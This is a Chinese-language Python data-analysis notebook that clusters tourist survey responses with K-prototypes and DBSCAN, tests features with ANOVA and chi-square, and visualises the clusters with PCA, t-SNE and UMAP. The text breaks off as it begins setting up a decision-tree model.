数值型列 numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;,\u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;] # 类别型列 categorical_columns = [col for col in columns if col not in numerical_columns] # 将类别型列的索引转换为数字 categorical_columns_indices = [columns.index(col) for col in categorical_columns] # 初始化 K-原型聚类器 kproto = KPrototypes(n_clusters=3, init=\u0026#39;Cao\u0026#39;, verbose=2) clusters = kproto.fit_predict(df_gone[columns].values, categorical=categorical_columns_indices) # 将聚类结果添加到数据集作为新的特征 df_gone[\u0026#39;k-prototypes cluster\u0026#39;] = clusters # 想查看每个簇的中心点 print(kproto.cluster_centroids_) # 查看每个簇的数量 print(df_gone[\u0026#39;k-prototypes cluster\u0026#39;].value_counts()) df_gone.head() # 把\u0026#39;k-prototypes cluster\u0026#39;为0的数据保存到csv文件 df_gone[df_gone[\u0026#39;k-prototypes cluster\u0026#39;] == 0].to_csv(\u0026#39;cluster_0.csv\u0026#39;, index=False) 特征选择：通过伪标签进行方差分析和卡方检验 from scipy.stats import f_oneway, chi2_contingency # 对 numerical_columns 进行方差分析 for column in numerical_columns: groups = df_gone.groupby(\u0026#39;k-prototypes cluster\u0026#39;)[column].apply(list) f_val, p_val = f_oneway(*groups) if p_val \u0026lt; 0.05: print(f\u0026#39;Column: {column}, F-value: {f_val}, p-value: {p_val}. significant.\u0026#39;) else: print(f\u0026#39;Column: {column}, F-value: {f_val}, p-value: {p_val}. NO.\u0026#39;) # 对 categorical_columns 进行卡方检验 for column in categorical_columns: contingency_table = pd.crosstab(df_gone[column], df_gone[\u0026#39;k-prototypes cluster\u0026#39;]) chi2, p_val, dof, expected = chi2_contingency(contingency_table) if p_val \u0026lt; 0.05: print(f\u0026#39;Column: {column}, Chi2: {chi2}, p-value: {p_val}. significant.\u0026#39;) else: print(f\u0026#39;Column: {column}, Chi2: {chi2}, p-value: {p_val}. NO.\u0026#39;) from kmodes.kprototypes import KPrototypes # # 列表中的列名 # columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;] # columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;] # 加入乌蒙大草原游客的基本信息，只能对已经来过的游客进行聚类 columns_again = [\u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q19\u0026#39;] # # 数值型列 numerical_columns = [\u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;,\u0026#39;Q7|5\u0026#39;] # numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;] # 类别型列 categorical_columns = [col for col in columns_again if col not in numerical_columns] # 将类别型列的索引转换为数字 categorical_columns_indices = [columns_again.index(col) for col in categorical_columns] # 初始化 K-原型聚类器 kproto = KPrototypes(n_clusters=2, init=\u0026#39;Cao\u0026#39;, verbose=2) # 对所有游客进行聚类 # clusters = kproto.fit_predict(df[columns].values, categorical=categorical_columns_indices) clusters = kproto.fit_predict(df_gone[columns_again].values, categorical=categorical_columns_indices) # 将聚类结果添加到数据集作为新的特征 # df[\u0026#39;k-prototypes cluster\u0026#39;] = clusters df_gone[\u0026#39;k-prototypes cluster\u0026#39;] = clusters # 想查看每个簇的中心点 print(kproto.cluster_centroids_) # 查看每个簇的数量 # print(df[\u0026#39;k-prototypes cluster\u0026#39;].value_counts()) print(df_gone[\u0026#39;k-prototypes cluster\u0026#39;].value_counts()) # df.head() df_gone.head() 分布分析 对每个聚类中的：\n数值数据进行最小值、最大值（范围）、平均值、中位数（50%分位数）、四分位数（25%和75%分位数）、标准差的分析； 分类数据进行各个类别的计数和比例 import matplotlib.pyplot as plt import seaborn as sns import pandas as pd df_selected = df_gone df_cluster_1 = df_selected[df_selected[\u0026#39;k-prototypes cluster\u0026#39;] == 0] df_cluster_2 = df_selected[df_selected[\u0026#39;k-prototypes cluster\u0026#39;] == 1] df_cluster_3 = df_selected[df_selected[\u0026#39;k-prototypes cluster\u0026#39;] == 2] clusters_list = [df_cluster_1, df_cluster_2, df_cluster_3] cluster_names = [\u0026#39;人群 1\u0026#39;, \u0026#39;人群 2\u0026#39;,\u0026#39;人群 3\u0026#39;] # 数值数据的描述性统计 desc_stats = [] for i, df_cluster in enumerate(clusters_list): desc_stats.append(df_cluster[numerical_columns].describe()) desc_stats_df = pd.concat(desc_stats, axis=1, keys=cluster_names) print(desc_stats_df) # 分类数据的各个类别的计数和比例 cat_counts = [] for i, df_cluster in enumerate(clusters_list): cat_counts.append(df_cluster[categorical_columns].apply(lambda x: x.value_counts()).T.stack() / df_cluster.shape[0]) cat_counts_df = pd.concat(cat_counts, axis=1, keys=cluster_names) print(cat_counts_df) #################### import matplotlib.pyplot as plt import seaborn as sns import pandas as pd import numpy as np # 设置全局字体 plt.rcParams[\u0026#39;font.sans-serif\u0026#39;] = [\u0026#39;SimHei\u0026#39;] # 用来正常显示中文标签 plt.rcParams[\u0026#39;axes.unicode_minus\u0026#39;] = False # 用来正常显示负号 # 计算子图的行数和列数 n = len(numerical_columns) ncols = 3 nrows = n // ncols if n % ncols == 0 else n // ncols + 1 # 创建一个大图和子图的数组，每个子图都有自己独立的y轴刻度 fig, axs = plt.subplots(nrows, ncols, figsize=(15, 5*nrows), sharey=False) # 创建一个ExcelWriter对象 with pd.ExcelWriter(\u0026#39;output.xlsx\u0026#39;) as writer: # 描述性统计的可视化 for idx, question in enumerate(numerical_columns): # 计算子图的位置 row = idx // ncols col = idx % ncols # 创建一个空的数据框来存储所有的簇的数据 all_clusters = pd.DataFrame() for i, df_cluster in enumerate(clusters_list): # 添加一个新的列来标识簇 df_cluster = df_cluster.copy() df_cluster[\u0026#39;Cluster\u0026#39;] = f\u0026#39;Cluster {i+1}\u0026#39; all_clusters = pd.concat([all_clusters, df_cluster]) # 在子图上绘制小提琴图，这里将使用各自的数据范围设置y轴刻度 sns.violinplot(x=\u0026#39;Cluster\u0026#39;, y=question, data=all_clusters, ax=axs[row, col]) axs[row, col].set_title(f\u0026#39;各簇{question}的小提琴图\u0026#39;) axs[row, col].set_ylabel(\u0026#39;\u0026#39;) # 将数据写入Excel文件的一个新工作表 all_clusters.to_excel(writer, sheet_name=question) # 删除多余的子图 if n % ncols != 0: for col in range(n % ncols, ncols): fig.delaxes(axs[nrows-1, col]) plt.tight_layout() plt.show() import matplotlib.pyplot as plt import seaborn as sns import pandas as pd import numpy as np # 设置全局字体 plt.rcParams[\u0026#39;font.sans-serif\u0026#39;] = [\u0026#39;SimHei\u0026#39;] # 用来正常显示中文标签 plt.rcParams[\u0026#39;axes.unicode_minus\u0026#39;] = False # 用来正常显示负号 # 计算子图的行数和列数 n = len(categorical_columns) ncols = 5 nrows = n // ncols if n % ncols == 0 else n // ncols + 1 # 创建一个大图和子图的数组 fig, axs = plt.subplots(nrows, ncols, figsize=(15, 5*nrows)) # 创建一个ExcelWriter对象 with pd.ExcelWriter(\u0026#39;output.xlsx\u0026#39;) as writer: # 描述性统计的可视化 for idx, question in enumerate(categorical_columns): # 计算子图的位置 row = idx // ncols col = idx % ncols # 创建一个空的数据框来存储所有的簇的数据 all_clusters = pd.DataFrame() for i, df_cluster in enumerate(clusters_list): # 添加一个新的列来标识簇 df_cluster = df_cluster.copy() df_cluster[\u0026#39;Cluster\u0026#39;] = f\u0026#39;Cluster {i+1}\u0026#39; all_clusters = pd.concat([all_clusters, df_cluster], ignore_index=True) # 数据透视以便于绘图，计算每个簇每个分类的数量 pivot_df = all_clusters.pivot_table(index=\u0026#39;Cluster\u0026#39;, columns=question, aggfunc=\u0026#39;size\u0026#39;).fillna(0) # 将数量转换为占比 pivot_df_percent = pivot_df.div(pivot_df.sum(axis=1), axis=0) * 100 # 计算占总数的百分比 # 绘制堆叠条形图，展示百分比 pivot_df_percent.plot(kind=\u0026#39;bar\u0026#39;, stacked=True, ax=axs[row, col], legend=True) axs[row, col].set_title(f\u0026#39;各簇{question}的堆叠条形图\u0026#39;) axs[row, col].set_ylabel(\u0026#39;百分比 (%)\u0026#39;) # 将数据写入Excel文件的一个新工作表 pivot_df_percent.to_excel(writer, sheet_name=question) # 删除多余的子图 if n % ncols != 0: for col in range(n % ncols, ncols): fig.delaxes(axs[nrows-1, col]) plt.tight_layout() plt.show() 聚类结果可视化 使用PCA，t-SNE，UMAP方法进行降维，得到2D和3D的图像，选择效果最好的可视化。\n六合一可视化 from sklearn.decomposition import PCA from sklearn.manifold import TSNE from umap import UMAP import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # 数据 # X = df[columns].values X = df_gone[columns].values # 创建PCA，t-SNE，UMAP对象 pca = PCA(n_components=2) tsne = TSNE(n_components=2) umap = UMAP(n_components=2) # 降维 X_pca = pca.fit_transform(X) X_tsne = tsne.fit_transform(X) X_umap = umap.fit_transform(X) # 创建图形和子图 fig, axs = plt.subplots(3, 2, figsize=(15, 20)) # 绘制二维版本 sc = axs[0, 0].scatter(X_pca[:, 0], X_pca[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[0, 0].set_title(\u0026#39;PCA 2D\u0026#39;) fig.colorbar(sc, ax=axs[0, 0], shrink=0.6) sc = axs[1, 0].scatter(X_tsne[:, 0], X_tsne[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[1, 0].set_title(\u0026#39;t-SNE 2D\u0026#39;) fig.colorbar(sc, ax=axs[1, 0], shrink=0.6) sc = axs[2, 0].scatter(X_umap[:, 0], X_umap[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[2, 0].set_title(\u0026#39;UMAP 2D\u0026#39;) fig.colorbar(sc, ax=axs[2, 0], shrink=0.6) # 创建PCA，t-SNE，UMAP对象 pca = PCA(n_components=3) tsne = TSNE(n_components=3) umap = UMAP(n_components=3) # 降维 X_pca = pca.fit_transform(X) X_tsne = tsne.fit_transform(X) X_umap = umap.fit_transform(X) # 绘制三维版本 axs[0, 1] = fig.add_subplot(3, 2, 2, projection=\u0026#39;3d\u0026#39;) sc = axs[0, 1].scatter(X_pca[:, 0], X_pca[:, 1], X_pca[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[0, 1].set_title(\u0026#39;PCA 3D\u0026#39;) fig.colorbar(sc, ax=axs[0, 1], shrink=0.6, pad=0.2) # 修改的代码 axs[1, 1] = fig.add_subplot(3, 2, 4, projection=\u0026#39;3d\u0026#39;) sc = axs[1, 1].scatter(X_tsne[:, 0], X_tsne[:, 1], X_tsne[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[1, 1].set_title(\u0026#39;t-SNE 3D\u0026#39;) fig.colorbar(sc, ax=axs[1, 1], shrink=0.6, pad=0.2) # 修改的代码 axs[2, 1] = fig.add_subplot(3, 2, 6, projection=\u0026#39;3d\u0026#39;) sc = axs[2, 1].scatter(X_umap[:, 0], X_umap[:, 1], X_umap[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[2, 1].set_title(\u0026#39;UMAP 3D\u0026#39;) fig.colorbar(sc, ax=axs[2, 1], shrink=0.6, pad=0.2) # 修改的代码 # 调整子图之间的间隙 plt.subplots_adjust(wspace=0.5, hspace=0.5) plt.tight_layout() plt.show() PCA主成分降维 from sklearn.decomposition import PCA import matplotlib.pyplot as plt df_selected = df_gone # 使用PCA进行降维 pca = PCA(n_components=2) X_pca = pca.fit_transform(df_selected[columns].values) # 绘制散点图 plt.figure(figsize=(8, 6)) plt.scatter(X_pca[:, 0], X_pca[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.title(\u0026#39;K-Prototypes Clustering (PCA-reduced data)\u0026#39;) plt.xlabel(\u0026#39;Principal Component 1\u0026#39;) plt.ylabel(\u0026#39;Principal Component 2\u0026#39;) plt.colorbar(label=\u0026#39;Cluster\u0026#39;) plt.show() PCA主成分降维 3D from sklearn.decomposition import PCA import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D df_selected = df_gone # 使用PCA进行降维 pca = PCA(n_components=3) X_pca = pca.fit_transform(df_selected[columns].values) # 创建一个3D图形 fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) # 绘制散点图 sc = ax.scatter(X_pca[:, 0], X_pca[:, 1], X_pca[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.title(\u0026#39;K-Prototypes Clustering (PCA-reduced data)\u0026#39;) ax.set_xlabel(\u0026#39;Principal Component 1\u0026#39;) ax.set_ylabel(\u0026#39;Principal Component 2\u0026#39;) ax.set_zlabel(\u0026#39;Principal Component 3\u0026#39;) fig.colorbar(sc, label=\u0026#39;Cluster\u0026#39;, pad=0.1) plt.show() df.head() from sklearn.decomposition import PCA import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import imageio import os df_selected = df_gone # 使用PCA进行降维 pca = PCA(n_components=3) X_pca = pca.fit_transform(df_selected[columns].values) # 创建GIF的帧 filenames = [] for azim in range(-90, 90, 2): # 从0度旋转到360度，每次增加10度 # 创建一个3D图形 fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) # 绘制散点图 sc = ax.scatter(X_pca[:, 0], X_pca[:, 1], X_pca[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) ax.set_title(\u0026#39;K-Prototypes Clustering (PCA-reduced data)\u0026#39;) ax.set_xlabel(\u0026#39;Principal Component 1\u0026#39;) ax.set_ylabel(\u0026#39;Principal Component 2\u0026#39;) ax.set_zlabel(\u0026#39;Principal Component 3\u0026#39;) fig.colorbar(sc, label=\u0026#39;Cluster\u0026#39;, pad=0.1) # 设置视角 ax.view_init(elev=20., azim=azim) # 保存帧 filename = f\u0026#39;frame_{azim}.png\u0026#39; plt.savefig(filename) filenames.append(filename) plt.close(fig) # 关闭图形，防止在notebook中显示 # 使用所有的帧创建一个GIF with imageio.get_writer(\u0026#39;mygif.gif\u0026#39;, mode=\u0026#39;I\u0026#39;) as writer: for filename in filenames: image = imageio.imread(filename) writer.append_data(image) # 删除所有的帧 for filename in filenames: os.remove(filename) t-SNE降维 from sklearn.manifold import TSNE import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # 使用t-SNE进行降维 tsne = TSNE(n_components=3) X_tsne = tsne.fit_transform(df[columns].values) # 创建一个3D图形 fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) # 绘制散点图 sc = ax.scatter(X_tsne[:, 0], X_tsne[:, 1], X_tsne[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.title(\u0026#39;K-Prototypes Clustering\u0026#39;) ax.set_xlabel(\u0026#39;t-SNE Dimension 1\u0026#39;) ax.set_ylabel(\u0026#39;t-SNE Dimension 2\u0026#39;) ax.set_zlabel(\u0026#39;t-SNE Dimension 3\u0026#39;) fig.colorbar(sc, label=\u0026#39;Cluster\u0026#39;) plt.show() df.head() 制作t-SNE gif版本 import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import imageio from sklearn.manifold import TSNE # 初始化t-SNE tsne = TSNE(n_components=3) #, init=\u0026#39;random\u0026#39;, random_state=0, n_iter=1000, method=\u0026#39;exact\u0026#39; # 保存每次迭代的图像 frames = [] for i in range(250, 1000, 50): tsne.n_iter = i X_tsne = tsne.fit_transform(df[columns].values) fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) scatter = ax.scatter(X_tsne[:, 0], X_tsne[:, 1], X_tsne[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) ax.set_title(f\u0026#39;t-SNE with {i} iterations\u0026#39;) ax.set_xlabel(\u0026#39;t-SNE Dimension 1\u0026#39;) ax.set_ylabel(\u0026#39;t-SNE Dimension 2\u0026#39;) ax.set_zlabel(\u0026#39;t-SNE Dimension 3\u0026#39;) fig.colorbar(scatter, label=\u0026#39;Cluster\u0026#39;) plt.savefig(f\u0026#39;tsne_{i}.png\u0026#39;) plt.close(fig) frames.append(imageio.imread(f\u0026#39;tsne_{i}.png\u0026#39;)) # 保存为GIF imageio.mimsave(\u0026#39;tsne.gif\u0026#39;, frames, \u0026#39;GIF\u0026#39;, duration=1) df.head() 使用UMAP降维 import umap import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # 假设df是你的数据框，columns是你想要降维的列 reducer = umap.UMAP(n_components=3, random_state=8) embedding = reducer.fit_transform(df[columns].values) # 创建一个3D图形 fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) # 绘制散点图 sc = ax.scatter(embedding[:, 0], embedding[:, 1], embedding[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.title(\u0026#39;UMAP projection\u0026#39;) ax.set_xlabel(\u0026#39;Dimension 1\u0026#39;) ax.set_ylabel(\u0026#39;Dimension 2\u0026#39;) ax.set_zlabel(\u0026#39;Dimension 3\u0026#39;) fig.colorbar(sc, label=\u0026#39;Cluster\u0026#39;) # 调整布局 plt.tight_layout() plt.show() df.head() UMAP GIF import umap import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import imageio # 假设df是你的数据框，columns是你想要降维的列 frames = [] for n in range(10, 51, 5): reducer = umap.UMAP(n_components=3, random_state=8, n_neighbors=n) embedding = reducer.fit_transform(df[columns].values) # 创建一个3D图形 fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) # 绘制散点图 sc = ax.scatter(embedding[:, 0], embedding[:, 1], embedding[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.title(f\u0026#39;UMAP projection with {n} neighbors\u0026#39;) ax.set_xlabel(\u0026#39;Dimension 1\u0026#39;) ax.set_ylabel(\u0026#39;Dimension 2\u0026#39;) ax.set_zlabel(\u0026#39;Dimension 3\u0026#39;) fig.colorbar(sc, label=\u0026#39;Cluster\u0026#39;) # 调整布局 plt.tight_layout() # 保存图像 plt.savefig(f\u0026#39;umap_{n}.png\u0026#39;) plt.close(fig) frames.append(imageio.imread(f\u0026#39;umap_{n}.png\u0026#39;)) # 保存为GIF imageio.mimsave(\u0026#39;umap.gif\u0026#39;, frames, \u0026#39;GIF\u0026#39;, duration=1) df.head() 输出聚类结果 import csv # 聚类中心 centroids = kproto.cluster_centroids_ # show_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;,\u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;,\u0026#39;Q1\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q16|6\u0026#39;, \u0026#39;Q16|1\u0026#39;, \u0026#39;Q16|2\u0026#39;, \u0026#39;Q16|3\u0026#39;, \u0026#39;Q16|7\u0026#39;, \u0026#39;Q16|4\u0026#39;, \u0026#39;Q16|10\u0026#39;, \u0026#39;Q16|11\u0026#39;, \u0026#39;Q16|9\u0026#39;] show_columns = columns # 打开你想要写入的文件 with open(\u0026#39;centroids.csv\u0026#39;, \u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as file: writer = csv.writer(file) # 写入题号作为第一行 writer.writerow(show_columns) # 写入数据 writer.writerows(centroids) # 打印题号和聚类中心 print(\u0026#34;Question IDs:\u0026#34;) print(show_columns) print(\u0026#34;Cluster centroids:\u0026#34;) print(centroids) # 聚类标签 labels = kproto.labels_ print(\u0026#34;Labels of first 10 data points:\u0026#34;) print(labels[:10]) df.head() 对照文本编码 读取centroids.csv匹配structured_questions.json中的题号把对应的单选选项换掉，并添加上题目\n结果在centrios.csv中\nimport csv import json import re # 读取 structured_questions.json 文件 with open(\u0026#39;structured_questions.json\u0026#39;, \u0026#39;r\u0026#39;) as json_file: structured_questions = json.load(json_file) # 读取 centroids.csv 文件 with open(\u0026#39;centroids.csv\u0026#39;, \u0026#39;r\u0026#39;) as csv_file: csv_reader = csv.reader(csv_file) data = list(csv_reader) # 先替换选项 for i, row in enumerate(data): if i == 0: continue for j, value in enumerate(row): # 遍历每一列 question_id = data[0][j] # 获取题号，只有单选和填空的格式是Q1这种，可以匹配上 if question_id in structured_questions: # 如果题号在 structured_questions 中 # 替换选项 data[i][j] = structured_questions[question_id][\u0026#39;options\u0026#39;].get(value, value) # 再替换题目 for i, row in enumerate(data): if i == 0: # 指针对第一行替换题目 for j, value in enumerate(row): if value in structured_questions: data[i][j] = value +\u0026#34; \u0026#34;+structured_questions[value][\u0026#39;text\u0026#39;] # 对于题目为Q7 | 1这种格式，把Q7替换为text的内容，1替换为options中的内容 # 用正则表达式匹配 if re.match(r\u0026#34;^Q\\d+\\|\\d+$\u0026#34;, value): question_id, option_id = value.split(\u0026#39;|\u0026#39;, 1) if question_id in structured_questions: data[i][j] = question_id +\u0026#34; \u0026#34;+ structured_questions[question_id][\u0026#39;text\u0026#39;] + \u0026#34;: \u0026#34; + structured_questions[question_id][\u0026#39;options\u0026#39;][option_id] if i!=0: break # 将更新后的数据写回 centroids.csv 文件 with open(\u0026#39;centroids.csv\u0026#39;, \u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as csv_file: csv_writer = csv.writer(csv_file) csv_writer.writerows(data) df.head() 基于密度聚类 DBSCAN from sklearn.cluster import DBSCAN from sklearn.preprocessing import StandardScaler from sklearn.manifold import TSNE import matplotlib.pyplot as plt import pandas as pd print(df) # 列表中的列名 columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q16|6\u0026#39;, \u0026#39;Q16|1\u0026#39;, \u0026#39;Q16|2\u0026#39;, \u0026#39;Q16|3\u0026#39;, \u0026#39;Q16|7\u0026#39;, \u0026#39;Q16|4\u0026#39;, \u0026#39;Q16|10\u0026#39;, \u0026#39;Q16|11\u0026#39;, \u0026#39;Q16|9\u0026#39;] # 数值型列 numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;,\u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;] # 对数值型列进行标准化 scaler = StandardScaler() df[numerical_columns] = scaler.fit_transform(df[numerical_columns]) X = df[columns].values # 初始化 DBSCAN 聚类器 dbscan = DBSCAN(eps=4.7, min_samples=7) # 进行聚类 clusters = dbscan.fit_predict(X) # 添加数据标签 df[\u0026#39;dbscan cluster\u0026#39;] = clusters # 使用t-SNE进行降维 tsne = TSNE(n_components=2, random_state=42) X_tsne = tsne.fit_transform(X) # 绘制散点图 plt.figure(figsize=(8, 6)) plt.scatter(X_tsne[:, 0], X_tsne[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.title(\u0026#39;t-SNE projection\u0026#39;) plt.xlabel(\u0026#39;Dimension 1\u0026#39;) plt.ylabel(\u0026#39;Dimension 2\u0026#39;) plt.colorbar(label=\u0026#39;Cluster\u0026#39;) plt.show() df.head() from sklearn.cluster import DBSCAN from sklearn.preprocessing import StandardScaler from sklearn.manifold import TSNE import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import pandas as pd print(df.columns) # 列表中的列名 columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q16|6\u0026#39;, \u0026#39;Q16|1\u0026#39;, \u0026#39;Q16|2\u0026#39;, \u0026#39;Q16|3\u0026#39;, \u0026#39;Q16|7\u0026#39;, \u0026#39;Q16|4\u0026#39;, \u0026#39;Q16|10\u0026#39;, \u0026#39;Q16|11\u0026#39;, \u0026#39;Q16|9\u0026#39;] # 数值型列 numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;,\u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;] # 对数值型列进行标准化 scaler = StandardScaler() df[numerical_columns] = scaler.fit_transform(df[numerical_columns]) X = df[columns].values # 初始化 DBSCAN 聚类器 dbscan = DBSCAN(eps=4.7, min_samples=7) # 进行聚类 clusters = dbscan.fit_predict(X) # 使用t-SNE进行降维 tsne = TSNE(n_components=3, random_state=42) X_tsne = tsne.fit_transform(X) # 创建一个3D图形 fig = plt.figure(figsize=(8, 6)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) # 绘制散点图 sc = ax.scatter(X_tsne[:, 0], X_tsne[:, 1], X_tsne[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) plt.title(\u0026#39;t-SNE projection\u0026#39;) ax.set_xlabel(\u0026#39;Dimension 1\u0026#39;) ax.set_ylabel(\u0026#39;Dimension 2\u0026#39;) ax.set_zlabel(\u0026#39;Dimension 3\u0026#39;) fig.colorbar(sc, label=\u0026#39;Cluster\u0026#39;) plt.show() df.head() 决策树 基础知识 决策树是一种常用的数据挖掘技术，用于分类和回归任务。它通过构造一个树状结构来模拟决策过程。主要的决策树算法包括：\nID3（Iterative Dichotomiser 3）：基于信息增益来选择特征。 C4.5：ID3的改进版，使用增益率来选择特征。 CART（Classification and Regression Trees）：同时支持分类和回归任务，基于基尼不纯度（对于分类）或最小二乘偏差（对于回归）来选择特征。 CHAID（Chi-squared Automatic Interaction Detector）：使用卡方检验来选择最佳特征，可以处理分类变量。 这些方法在不同的情况下各有优势。例如，CART是最常用的算法之一，因为它简单且适用于各种类型的数据。\nCART决策树：决定游客来不来的画像因素分析 针对没有来过的游客，分析他们没有来过的原因\n决策树处理 核心问题是Q29，可以结合游客的基本信息一起分析 Q29|R1,Q29|R2,Q29|R3,Q29|R4\nk-prototypes cluster 之前聚类的结果\nfeature_columns是问卷的一组问题，目标变量是去了还是没有去\nfrom sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import classification_report from sklearn.tree import plot_tree from sklearn.feature_selection import SelectPercentile, chi2 import matplotlib.pyplot as plt # 定义特征和目标变量 feature_columns = [\u0026#39;Q8\u0026#39;,\u0026#39;Q9\u0026#39;,\u0026#39;Q10\u0026#39;,\u0026#39;Q11\u0026#39;,\u0026#39;Q12\u0026#39;,\u0026#39;Q13\u0026#39;,\u0026#39;Q14\u0026#39;,\u0026#39;Q15\u0026#39;] X_unencoded = df[feature_columns] target_column = 